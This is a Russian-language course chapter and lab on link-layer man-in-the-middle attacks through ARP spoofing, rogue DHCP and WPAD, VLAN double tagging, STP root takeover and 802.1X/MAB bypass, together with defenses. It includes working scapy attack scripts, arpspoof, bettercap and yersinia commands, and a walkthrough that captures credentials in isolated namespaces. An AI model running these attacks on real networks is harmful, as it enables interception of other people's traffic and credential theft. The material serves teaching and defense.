Человек посередине на канальном уровне: ARP, DHCP, VLAN, STP, 802.1X

Канальный уровень решает задачи, которые выше по стеку выглядят как данность: найти MAC-адрес по IP, получить адрес и маршрут по умолчанию, доставить кадр только в свой сегмент, не зациклить широковещательный шторм, пустить в порт только того, кому разрешено. Все эти механизмы проектировались для сети, где участники честны, а порт коммутатора — это физическая розетка в охраняемом помещении.

Как только в сегменте появляется чужое устройство, каждый из механизмов превращается в точку опоры. ARP не требует подтверждения, DHCP отвечает тот, кто успел, VLAN отделяет сегменты только на доверенном оборудовании, STP выбирает корень по наименьшему идентификатору, а 802.1X проверяет не человека, а устройство. Ни один из этих протоколов не аутентифицирует соседа криптографически — и именно поэтому канальный уровень остаётся самым дешёвым способом оказаться посередине.

Тема 04 основной программы разбирала Ethernet и коммутацию, тема 05 — VLAN и STP, тема 07 — ARP, тема 14 — DHCP. Здесь эти механизмы берутся в той части, где они доверяют входным данным. Границы: NDP и IPv6 — тема 03, атаки на TCP — тема 04. Всё, что ниже, происходит внутри одного широковещательного домена или на пути к нему.

Тень базового курса: протоколы без аутентификации

В основной программе ARP описан как простой и элегантный протокол: запрос «кто такой 192.0.2.1?» рассылается широковещательно, владелец отвечает своим MAC, все остальные запоминают пару. Элегантность в том, что ответ не требует подтверждения и принимается любым узлом, даже если запроса не было.

Именно это свойство — не ошибка реализации, а проектное решение 1982 года ¹. В сети, где все участники доверяют друг другу, экономия на аутентификации оправдана. В сети, где появился чужой, она означает, что любой узел может объявить себя шлюзом, и трафик пойдёт через него.

Та же логика у DHCP: клиент кричит в широковещательный домен «дайте адрес», и отвечает первый, кто услышал. У STP: коммутатор верит BPDU, пришедшему в порт, и готов уступить корень тому, кто объявил себя лучшим. У 802.1X: порт открывается после обмена EAPOL, но сам обмен не защищён от подмены на кабеле. Дальше — по каждому механизму.

ARP: как работает и почему ломается

Запись в кеше и её состояния

Ядро Linux хранит соседей в таблице nd_tbl (для IPv4 — в arp_tbl), а состояние записи видно в ip neigh:

ip neigh show dev eth0

192.0.2.1 lladdr 02:42:ac:11:00:01 REACHABLE
192.0.2.20 lladdr 02:42:ac:11:00:14 STALE
192.0.2.99 lladdr 02:42:ac:11:00:63 FAILED

Состояния важны для атаки. REACHABLE означает, что запись подтверждена недавно; STALE — что подтверждение устарело, но запись используется; FAILED — что разрешение не удалось. По истечении gc_stale_time (по умолчанию 60 секунд) запись переходит в STALE, а gc_thresh ограничивает размер таблицы. Переполнение таблицы — отдельный приём: если забить её мусорными записями, новые разрешения начнут вытеснять старые, и часть трафика пойдёт через повторный ARP.

Gratuitous ARP — ответ без запроса, которым узел объявляет свой адрес. Он используется при смене MAC, при поднятии интерфейса и при отказоустойчивости. Проверка конфликта адресов (ACD, RFC 5227) тоже строится на нём: перед назначением адреса узел спрашивает, не занят ли он ⁷. Атакующий использует тот же механизм, чтобы перезаписать чужие записи.

Спуфинг и человек посередине

Идея проста: отправить жертве ARP-ответ, в котором адрес шлюза связан с MAC атакующего. Жертва обновит кеш и начнёт слать пакеты не шлюзу, а атакующему. Тот включает форвардинг, чтобы трафик не пропадал, и становится прозрачным посредником.

from scapy.all import ARP, Ether, sendp, get_if_hwaddr
import sys

iface = "eth0"
victim_ip, victim_mac = "192.0.2.10", "02:42:ac:11:00:0a"
gateway_ip, gateway_mac = "192.0.2.1", "02:42:ac:11:00:01"
attacker_mac = get_if_hwaddr(iface)

def poison(target_ip, target_mac, claimed_ip):
    pkt = Ether(dst=target_mac) / ARP(
        op=2, psrc=claimed_ip, pdst=target_ip,
        hwsrc=attacker_mac, hwdst=target_mac)
    sendp(pkt, iface=iface, verbose=False)

for _ in range(5):
    poison(victim_ip, victim_mac, gateway_ip)
    poison(gateway_ip, gateway_mac, victim_ip)

Разбор значимых строк: op=2 — ARP-ответ; psrc — адрес, который присваивается; hwsrc — MAC атакующего; кадр адресован конкретному получателю, чтобы не шуметь на весь сегмент. Повтор нужен потому, что запись в кеше живёт ограниченное время и может быть перезаписана настоящим шлюзом.

На практике то же самое делают готовыми инструментами:

arpspoof -i eth0 -t 192.0.2.10 192.0.2.1
bettercap -iface eth0 -eval "set arp.spoof.targets 192.0.2.10; arp.spoof on"

arpspoof шлёт поддельные ответы в обе стороны; bettercap добавляет перехват и логирование. Для трафика, который не шифруется, дальше достаточно tcpdump или встроенного сниффера: HTTP-запросы, FTP- и Telnet-пароли видны в открытом виде.

Обратная сторона — заметность. Поддельный ARP-ответ отличается от настоящего только содержанием, но частота выдаёт: два узла, объявляющих один адрес, — классический признак. arpwatch и журналы коммутатора фиксируют смену привязки.

ARP-шторм и proxy ARP

ARP-шторм — не атака, а следствие петли или ошибки: широковещательные запросы ходят по кругу и забивают полосу. Вред для атакующего двоякий: шторм заметен и мешает перехвату. Но он же маскирует поддельные ответы, если теряются в потоке.

Proxy ARP — штатный механизм, при котором маршрутизатор отвечает на ARP за адреса из другой сети. Включённый по ошибке на интерфейсе, он превращает маршрутизатор в точку перехвата для целой подсети, и обнаружить это можно только по таблице соседей и конфигурации.

DHCP: кто первым ответил

DORA и опции

DHCP-клиент проходит четыре шага: Discover (широковещательно), Offer (сервер предлагает адрес), Request (клиент просит его закрепить), Ack (сервер подтверждает). Вся четвёрка идёт до получения адреса, и в ней нет аутентификации ².

Ключевые опции: 3 — маршрут по умолчанию, 6 — DNS-серверы, 15 — доменное имя, 119 — домен поиска, 121 — классless-маршруты. Подменив опцию 3 и 6, атакующий получает и путь трафика, и имена.

dnsmasq --no-daemon --interface=eth0 --bind-interfaces \
  --dhcp-range=192.0.2.100,192.0.2.150,12h \
  --dhcp-option=3,192.0.2.66 \
  --dhcp-option=6,192.0.2.66 \
  --dhcp-option=15,nsu.example

Конфигурация поднимает сервер, который выдаёт адреса из своего пула и объявляет себя шлюзом и DNS. Если настоящий сервер отвечает медленнее, клиент примет предложение атакующего.

Голодание пула и подставной сервер

DHCP-голодание — отправка большого числа Discover с разными MAC. Каждый запрос резервирует адрес, пул исчерпывается, новые клиенты не получают адресов. Это отказ в обслуживании, но у него есть вторая роль: освободившееся место занимает подставной сервер, и клиенты, которые не смогли получить адрес у настоящего, приходят к нему.

yersinia dhcp -attack 1 -interface eth0

yersinia генерирует Discover с поддельными MAC; скорость ограничивается, чтобы не переполнить таблицу коммутатора раньше времени.

WPAD и опция 119

Опция 119 задаёт список доменов поиска. Клиент, которому нужно разрешить короткое имя, перебирает суффиксы и в какой-то момент запрашивает wpad.<домен>. Если атакующий отвечает на это имя, браузер и система могут автоматически забрать конфигурацию прокси по HTTP — и весь трафик пойдёт через него. Это не отдельная уязвимость, а следствие того, что WPAD включён по умолчанию во многих сборках.

Защита: отключить автоматическое определение прокси, не выдавать опцию 119 без необходимости, контролировать имена wpad в DNS.

VLAN и STP: границы сегмента

802.1Q, double tagging и native VLAN

Тег 802.1Q добавляет к кадру четыре байта: TPID 0x8100, приоритет, DEI и VID ³. Access-порт снимает тег при передаче клиенту, trunk-порт передаёт тегированными. Native VLAN — та, чьи кадры идут по trunk без тега; это компромисс совместимости, и он же — дыра.

Double tagging использует то, что коммутатор снимает только внешний тег. Кадр с двумя тегами: внешний — native VLAN, внутренний — целевая VLAN. Первый коммутатор снимает внешний тег и передаёт кадр дальше с внутренним, который второй коммутатор уже воспринимает как свой. Условие — совпадение native VLAN на первом транке и доступность целевой VLAN на втором.

from scapy.all import Ether, Dot1Q, IP, ICMP, sendp

pkt = (Ether(dst="02:42:ac:11:00:01") /
       Dot1Q(vlan=1) /
       Dot1Q(vlan=20) /
       IP(src="192.0.2.10", dst="192.0.2.20") /
       ICMP())
sendp(pkt, iface="eth0")

Первый тег — native VLAN, второй — целевая. Если коммутатор настроен на удаление только внешнего тега, кадр уйдёт во VLAN 20.

DTP и switch spoofing

DTP (Dynamic Trunking Protocol) — проприетарный протокол Cisco, который автоматически договаривается о транке. Порт в режиме dynamic auto или dynamic desirable может стать транком, если противоположная сторона попросит. Подделав DTP-кадры, атакующий получает транк и доступ ко всем VLAN.

Защита: switchport nonegotiate, явный access на клиентских портах, отключение неиспользуемых портов.

STP: корень, BPDU и topology change

STP строит дерево без петель, выбирая корневой мост с наименьшим bridge ID ⁶. BPDU — кадры, которыми обмениваются коммутаторы; они не аутентифицированы. Отправив BPDU с лучшим (меньшим) приоритетом, атакующий становится корнем и пропускает через себя трафик всех VLAN, которые проходят через его порт ⁴.

from scapy.all import Ether, LLC, STP, sendp

pkt = (Ether(dst="01:80:c2:00:00:00") /
       LLC(dsap=0x42, ssap=0x42, ctrl=3) /
       STP(rootid=0, bridgeid=0, rootpathcost=0))
sendp(pkt, iface="eth0", loop=1, inter=2)

rootid=0 и bridgeid=0 делают объявителя безусловно лучшим. Постоянная рассылка держит топологию в нестабильности: каждый BPDU с лучшим параметром вызывает пересчёт, и сеть проводит время в сходимости.

Topology Change Notification (TCN) — отдельный приём: частая смена топологии заставляет коммутаторы сокращать время жизни записей FDB, что увеличивает лавинную рассылку и облегчает перехват.

Защита: BPDU guard на клиентских портах, root guard на портах, где корень не должен появляться, bpdufilter там, где BPDU не нужны вовсе.

802.1X: контроль доступа на порту

EAPOL, MAB и обходы

802.1X открывает порт после успешной аутентификации: supplicant (клиент), authenticator (коммутатор) и authentication server (RADIUS) обмениваются EAP-сообщениями внутри EAPOL ⁵. До аутентификации порт пропускает только EAPOL.

MAB (MAC Authentication Bypass) — упрощённый режим: коммутатор сам отправляет MAC-адрес устройства в RADIUS как логин. Устройства без supplicant (принтеры, камеры) так получают доступ. Обход очевиден: подменить MAC на MAC доверенного устройства.

Другие приёмы: EAPOL logoff — отправить кадр завершения сеанса от имени жертвы, чтобы её порт закрылся; вставка хаба между supplicant и коммутатором — трафик проходит через атакующего уже после аутентификации; EAPOL-флуд — забить таблицу состояний коммутатора.

# подмена MAC на интерфейсе
ip link set eth0 down
ip link set eth0 address 02:42:ac:11:00:63
ip link set eth0 up

Защита: 802.1X с EAP-TLS и проверкой сертификата устройства, отключение MAB там, где он не нужен, macsec для шифрования канала, контроль EAPOL-кадров на портах.

Обнаружение и защита

Правило Suricata на поддельный DHCP-сервер:

alert udp !$DHCP_SERVERS 67 -> any 68 (msg:"DHCP rogue server offer"; \
  content:"|02|"; offset:0; depth:1; \
  classtype:attempted-admin; sid:1000010; rev:1;)

Правило опирается на список разрешённых DHCP-серверов; всё, что отвечает из другого адреса, считается подозрительным. В учебной сети список задаётся переменной DHCP_SERVERS.

Итоги темы

Канальный уровень держится на доверии: ARP верит ответу, DHCP — первому предложению, STP — лучшему BPDU, 802.1X — устройству на порту. Каждое из этих допущений в основной программе выглядело естественным, потому что сеть считалась дружественной; в апокрифе оно становится точкой входа.

Перехват на L2 дешевле любого другого: он не требует ни уязвимости, ни пароля, ни особых прав — только доступ в сегмент. Именно поэтому защита строится не на протоколе, а на инфраструктуре: DAI, DHCP snooping, port security, BPDU guard, 802.1X и, там где нужно, MACsec.

Следующая тема поднимается на уровень IP и разбирает, что происходит, когда чужой пакет приходит не в свой сегмент, а из сети.

Литература

1. Plummer D. C. An Ethernet Address Resolution Protocol. — RFC 826, IETF, 1982. https://www.rfc-editor.org/rfc/rfc826
2. Droms R. Dynamic Host Configuration Protocol. — RFC 2131, IETF, 1997. https://www.rfc-editor.org/rfc/rfc2131
3. IEEE Standard for Local and Metropolitan Area Networks — Bridges and Bridged Networks. — IEEE 802.1Q-2018, 2018.
4. IEEE Standard for Local and Metropolitan Area Networks — Media Access Control (MAC) Bridges. — IEEE 802.1D-2004, 2004.
5. IEEE Standard for Local and Metropolitan Area Networks — Port-Based Network Access Control. — IEEE 802.1X-2020, 2020.
6. Kurose J. F., Ross K. W. Computer Networking: A Top-Down Approach. 8th ed. — Pearson, 2021.
7. Cheshire S., Krochmal M., Sekar K. IPv4 Address Conflict Detection. — RFC 5227, IETF, 2008. https://www.rfc-editor.org/rfc/rfc5227

Дополнительные материалы

Вопросы для самопроверки

1. Почему ARP не предусматривает аутентификации и что изменилось бы, если бы она появилась?
2. Чем gratuitous ARP полезен в штатной работе и чем опасен?
3. Что происходит с таблицей соседей при переполнении gc_thresh?
4. Почему подставной DHCP-сервер выигрывает не всегда, и что определяет победителя?
5. Как WPAD превращает опцию 119 в точку перехвата?
6. Почему double tagging требует совпадения native VLAN на двух коммутаторах?
7. Чем DTP опасен на порту, который никогда не должен быть транком?
8. Почему BPDU не аутентифицированы и что даёт BPDU guard?
9. Как topology change влияет на таблицу MAC и почему это выгодно атакующему?
10. Чем MAB отличается от обычной аутентификации по MAC и почему он компромисс?
11. Почему MACsec решает проблему, которую не решает 802.1X?
12. Какие признаки ARP-спуфинга видны на коммутаторе, а какие — только на хосте?

Глоссарий темы

ARP — протокол разрешения адресов: сопоставляет IPv4-адрес и MAC в локальном сегменте.

Gratuitous ARP — ARP-ответ без предшествующего запроса; объявление своего адреса.

DAI — Dynamic ARP Inspection, проверка ARP-ответов на коммутаторе по доверенной таблице.

DHCP snooping — функция коммутатора, которая пропускает ответы DHCP только с доверенных портов.

MAB — MAC Authentication Bypass, режим 802.1X, где коммутатор сам передаёт MAC устройства в RADIUS.

BPDU — блок данных протокола STP, которым коммутаторы обмениваются для построения дерева.

TCN — Topology Change Notification, уведомление о смене топологии.

Native VLAN — VLAN, кадры которой идут по транку без тега.

DTP — проприетарный протокол Cisco для согласования режима транка.

MACsec — шифрование канального уровня по IEEE 802.1AE.

Шпаргалка по инструментам

Что почитать и посмотреть

• RFC 826 — исходное описание ARP: короткое, и из него видно, почему аутентификация не появилась.
• RFC 2131 — DHCP: раздел о формате сообщений и опциях объясняет, какие поля подделываются.
• IEEE 802.1Q-2018 — главы о тегах и native VLAN; полезно читать вместе с разделом о double tagging.
• IEEE 802.1D-2004 — STP: выбор корня, роли портов, BPDU.
• IEEE 802.1X-2020 — EAPOL и три роли; даёт точное понимание, что именно проверяется.
• Kurose, Ross — глава о канальном уровне: коммутация и VLAN на уровне модели.

Углубление

ARP-спуфинг без ответов. Некоторые стеки принимают ARP-запрос как обновление записи. Тогда достаточно рассылать запросы с поддельным psrc, чтобы отравить кеши, — приём менее заметен, потому что запросы выглядят обычным трафиком.

Перехват через ICMP redirect. Если шлюз отправляет ICMP redirect, клиент меняет маршрут. Поддельный redirect от имени шлюза переключает трафик на атакующего без ARP-спуфинга. Защита — accept_redirects=0.

IPv6-соседи. Тот же перехват в IPv6 называется NDP-спуфингом и разбирается в теме 03. Принцип тот же, но защиты другие: RA guard и ND inspection.

802.1X и MAB в реальной сети. MAB часто включают «временно» для принтеров и камер, и он остаётся на годы. Проверка — список MAC, которым разрешён MAB; всё, что не в списке, должно получать отказ.

Что видит коммутатор. Смена MAC на порту, частота ARP, DHCP-сервер не на доверенном порту, BPDU на клиентском порту — четыре признака, которые собираются без глубокого анализа пакетов и покрывают большинство атак этой темы.

Лабораторная работа 2. Человек посередине на канальном уровне

• Раздел курса: апокриф 2 «Человек посередине на канальном уровне: ARP, DHCP, VLAN, STP, 802.1X»

Введение

Работа собирает сегмент, в котором один из участников перестаёт быть честным. Сначала перехватывается трафик через ARP, затем клиент получает адрес от подставного DHCP, затем проверяются границы VLAN и поведение STP. Каждая часть заканчивается вопросом: что именно увидела бы защита и какая настройка остановила бы приём.

Сегмент собирается на программном мосте: он ведёт себя как коммутатор, но не умеет DAI и DHCP snooping. Там, где промышленный коммутатор обошёлся бы одной командой, в работе используется правило nftables; ограничение называется прямо, чтобы не создавать ложного впечатления о возможностях Linux-моста.

Цель работы

После выполнения работы получится:

• собрать сегмент с жертвой, шлюзом и атакующим на одном мосте;
• прочитать таблицу соседей и объяснить состояния записи ARP;
• выполнить ARP-спуфинг и перехватить учётные данные незашифрованного протокола;
• поднять подставной DHCP-сервер и показать, как клиент получает чужой шлюз и DNS;
• продемонстрировать double tagging между двумя мостами;
• захватить корневой мост STP поддельным BPDU;
• настроить фильтрацию ARP и DHCP и проверить, что приёмы перестают работать;
• найти и исправить ошибку в скрипте, который «защищает» ARP.

Теоретический минимум

Нужны разделы теории «ARP: как работает и почему ломается», «DHCP: кто первым ответил», «VLAN и STP: границы сегмента» и «802.1X: контроль доступа на порту». Команды:

Перечень оснащения

Уровень воспроизводимости: 1 — пространства имён и программный мост.

Linux с iproute2, nftables, python3, scapy, dnsmasq, tcpdump или tshark. Всё в unshare -rnm. Для части со STP нужен мост с включённым STP (stp_state 1). Если scapy не установлен, используется pip install scapy в виртуальном окружении; при отсутствии сети подойдут готовые скрипты из окружения работы.

Порядок выполнения работы

unshare -rnm --propagation private bash
mount -t tmpfs none /run
mkdir -p /run/netns

Часть 1. Сегмент и таблица соседей

Задание

Создать мост br0 и три пространства имён: victim (192.0.2.10), gw (192.0.2.1), attacker (192.0.2.66). На gw включить пересылку и поднять HTTP-сервер, который принимает логин и пароль формой.

ip link add br0 type bridge
ip link set br0 up

for n in victim gw attacker; do
  ip netns add $n
  ip link add veth-$n type veth peer name eth0 netns $n
  ip link set veth-$n master br0
  ip link set veth-$n up
  ip netns exec $n ip link set lo up
  ip netns exec $n ip link set eth0 up
done

ip netns exec victim ip addr add 192.0.2.10/24 dev eth0
ip netns exec gw ip addr add 192.0.2.1/24 dev eth0
ip netns exec attacker ip addr add 192.0.2.66/24 dev eth0
ip netns exec victim ip route add default via 192.0.2.1

Простой сервер логина на gw:

# login_server.py — запускать в пространстве имён gw
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        n = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(n).decode()
        print("CREDS:", parse_qs(body), flush=True)
        self.send_response(200); self.end_headers(); self.wfile.write(b"ok")

HTTPServer(("0.0.0.0", 80), H).serve_forever()

ip netns exec gw python3 login_server.py &

С victim отправить форму:

ip netns exec victim curl -s -X POST -d "user=alice&pass=s3cret" http://192.0.2.1/
ip netns exec victim ip neigh show

Что должно получиться

Запись 192.0.2.1 lladdr ... REACHABLE в таблице соседей жертвы и строка CREDS: {'user': ['alice'], 'pass': ['s3cret']} в выводе сервера. Объяснить, почему запись появилась без явного ARP-запроса со стороны жертвы: её создал ответ на запрос.

Часть 2. ARP-спуфинг и перехват

Задание

На attacker включить пересылку, запустить скрипт поддельных ARP-ответов и снять трафик на его интерфейсе.

ip netns exec attacker sysctl -w net.ipv4.ip_forward=1

# arp_poison.py
from scapy.all import ARP, Ether, sendp, get_if_hwaddr
import time

iface = "eth0"
v_ip, v_mac = "192.0.2.10", "02:42:ac:11:00:0a"
g_ip, g_mac = "192.0.2.1", "02:42:ac:11:00:01"
my_mac = get_if_hwaddr(iface)

def reply(dst_ip, dst_mac, claimed_ip):
    sendp(Ether(dst=dst_mac) / ARP(op=2, psrc=claimed_ip, pdst=dst_ip,
                                   hwsrc=my_mac, hwdst=dst_mac),
          iface=iface, verbose=False)

while True:
    reply(v_ip, v_mac, g_ip)
    reply(g_ip, g_mac, v_ip)
    time.sleep(2)

MAC-адреса взять из ip netns exec victim ip link show eth0 и аналогично для gw. Запустить скрипт, затем с жертвы повторить запрос и снять трафик:

ip netns exec attacker tshark -i eth0 -f "tcp port 80" -w mitm.pcap &
sleep 2
ip netns exec victim curl -s -X POST -d "user=alice&pass=s3cret" http://192.0.2.1/
sleep 1
tshark -r mitm.pcap -Y "http.request" -T fields -e ip.src -e http.request.uri -e urlencoded-form.value

Что должно получиться

В таблице соседей жертвы адрес 192.0.2.1 теперь указывает на MAC атакующего; в захвате видны POST-запрос и поля формы в открытом виде. Сформулировать, почему HTTPS не спасает от перехвата, но спасает от чтения содержимого, и что тогда остаётся видимым.

Часть 3. Подставной DHCP

Задание

Остановить ARP-скрипт. На attacker поднять dnsmasq с пулом и опциями 3 и 6, указывающими на атакующего:

ip netns exec attacker dnsmasq --no-daemon --interface=eth0 --bind-interfaces \
  --dhcp-range=192.0.2.100,192.0.2.150,1h \
  --dhcp-option=3,192.0.2.66 --dhcp-option=6,192.0.2.66 \
  --log-dhcp &

На victim сбросить адрес и запросить новый:

ip netns exec victim ip addr flush dev eth0
ip netns exec victim udhcpc -i eth0 -q -n
ip netns exec victim ip route
ip netns exec victim cat /etc/resolv.conf

Если udhcpc нет, использовать dhclient -1 -v eth0.

Что должно получиться

Жертва получает адрес из пула 192.0.2.100–150, маршрут по умолчанию через 192.0.2.66, DNS 192.0.2.66. Объяснить, что произойдёт с трафиком и почему настоящий DHCP-сервер не помешал: его ответ пришёл позже либо не пришёл вовсе.

Часть 4. Double tagging

Задание

Собрать два моста, соединённых транком, и отправить кадр с двумя тегами. На br0 и br1 включить фильтрацию VLAN:

ip link add br0 type bridge vlan_filtering 1
ip link add br1 type bridge vlan_filtering 1
ip link set br0 up; ip link set br1 up

Соединить мосты парой veth, назначить trunk-порты и разрешить VLAN 10 и 20 на транке, VLAN 10 — на доступе к жертве, VLAN 20 — на доступе к цели. Точные команды:

ip link add t0 type veth peer name t1
ip link set t0 master br0; ip link set t1 master br1
ip link set t0 up; ip link set t1 up

bridge vlan add dev t0 vid 10
bridge vlan add dev t0 vid 20
bridge vlan add dev t1 vid 10
bridge vlan add dev t1 vid 20

Отправить кадр с внешним тегом native VLAN и внутренним тегом целевой:

from scapy.all import Ether, Dot1Q, IP, ICMP, sendp
pkt = (Ether(dst="ff:ff:ff:ff:ff:ff") /
       Dot1Q(vlan=10) / Dot1Q(vlan=20) /
       IP(src="192.0.2.10", dst="192.0.2.20") / ICMP())
sendp(pkt, iface="eth0")

Что должно получиться

Кадр с двумя тегами виден в захвате на транке; после первого моста внешний тег снят, внутренний сохранён. Объяснить, при каком условии кадр попадёт в VLAN 20 и почему отказ от native VLAN для клиентских портов ломает приём.

Часть 5. Захват корневого моста STP

Задание

Включить STP на мосте и посмотреть текущий корень:

ip link set br0 type bridge stp_state 1
bridge -d link show

Отправить поддельные BPDU с нулевыми идентификаторами:

from scapy.all import Ether, LLC, STP, sendp
pkt = (Ether(dst="01:80:c2:00:00:00") /
       LLC(dsap=0x42, ssap=0x42, ctrl=3) /
       STP(rootid=0, bridgeid=0, rootpathcost=0))
sendp(pkt, iface="eth0", loop=1, inter=2)

Что должно получиться

Через несколько секунд bridge -d link show показывает, что корнем стал порт, с которого пришли BPDU. Остановить рассылку и убедиться, что топология вернулась. Объяснить, почему BPDU guard на клиентском порту делает приём невозможным.

Часть 6. Защита: фильтрация ARP и DHCP

Задание

Промышленный коммутатор использует DAI и DHCP snooping; Linux-мост их не реализует. Приблизить защиту правилами nftables:

nft add table bridge filter
nft add chain bridge filter arp_guard '{ type filter hook prerouting priority -300; policy accept; }'
nft add rule bridge filter arp_guard meta protocol arp arp saddr ip 192.0.2.1 \
  arp saddr ether != 02:42:ac:11:00:01 drop
nft add rule bridge filter arp_guard meta protocol arp arp saddr ip 192.0.2.10 \
  arp saddr ether != 02:42:ac:11:00:0a drop

Первое правило запрещает объявлять адрес шлюза с чужим MAC, второе — адрес жертвы. Хук prerouting здесь обязателен: input в семействе bridge видит только кадры, адресованные самому мосту, а кадры между портами проходят через prerouting и forward, и правило в input на них не сработает. Повторить ARP-спуфинг и убедиться, что кеш жертвы не меняется.

Для DHCP — разрешить порт 67 только с адреса настоящего сервера:

nft add table bridge dhcp_guard
nft add chain bridge dhcp_guard input '{ type filter hook prerouting priority -300; policy accept; }'
nft add rule bridge dhcp_guard input udp dport 67 ip saddr != 192.0.2.1 drop

Что должно получиться

ARP-спуфинг перестаёт менять таблицу соседей; подставной DHCP не получает ответа. Записать, чем такое правило хуже настоящего DAI: оно статично, не знает о смене MAC и требует ручного сопровождения.

Часть 7. Найти и исправить ошибку

Задание

Дан «защитный» скрипт, который должен блокировать ARP-ответы, если MAC в ответе не совпадает с ожидаемым:

from scapy.all import sniff, ARP, sendp, Ether

TRUSTED = {"192.0.2.1": "02:42:ac:11:00:01"}

def handle(pkt):
    if ARP in pkt and pkt[ARP].op == 2:
        ip, mac = pkt[ARP].psrc, pkt[ARP].hwsrc
        if ip in TRUSTED and TRUSTED[ip] != mac:
            print("spoof detected", ip, mac)
            sendp(Ether(dst=pkt[ARP].hwsrc) / ARP(
                op=2, psrc=ip, hwsrc=TRUSTED[ip],
                pdst=pkt[ARP].pdst, hwdst=pkt[ARP].hwsrc), iface="eth0")

sniff(iface="eth0", filter="arp", prn=handle)

Скрипт не мешает спуфингу: жертва всё равно принимает поддельный ответ. Найти причину и исправить — либо восстановлением записи у жертвы, либо блокировкой кадра до доставки. Объяснить, почему второй вариант на Linux-мосте требует nftables, а не пользовательского сниффера.

Что должно получиться

Работающий вариант с правилом nftables, которое отбрасывает поддельный ответ до попадания в мост, и объяснение, почему реактивная «починка» после доставки проигрывает гонку.

Журнал работы

Контрольные вопросы

1. Почему ARP-ответ принимается без запроса и как это используется?
2. Что означают состояния REACHABLE, STALE и FAILED в ip neigh?
3. Почему DHCP-клиент не может отличить настоящий сервер от подставного?
4. Как double tagging обходит изоляцию VLAN и при каком условии не срабатывает?
5. Почему native VLAN считается компромиссом совместимости, а не нормой?
6. Как STP выбирает корень и почему поддельный BPDU его меняет?
7. Что делает BPDU guard и на каких портах его ставят?
8. Чем MAB отличается от 802.1X с EAP-TLS и почему MAB обходится подменой MAC?
9. Почему DAI на коммутаторе надёжнее правила nftables на мосте?
10. Что остаётся видимым при перехвате HTTPS и что — при перехвате HTTP?
11. Как отличить ARP-шторм от ARP-спуфинга по захвату?
12. Почему защита L2 без 802.1X остаётся неполной?

Уборка

pkill -f arp_poison.py
pkill -f login_server.py
pkill dnsmasq
pkill tshark
nft delete table bridge filter 2>/dev/null
nft delete table bridge dhcp_guard 2>/dev/null
for n in victim gw attacker; do ip netns del $n; done
ip link del br0 2>/dev/null
ip link del br1 2>/dev/null
rm -f mitm.pcap

Проверить ip netns list, nft list tables и отсутствие процессов dnsmasq, tshark, python3.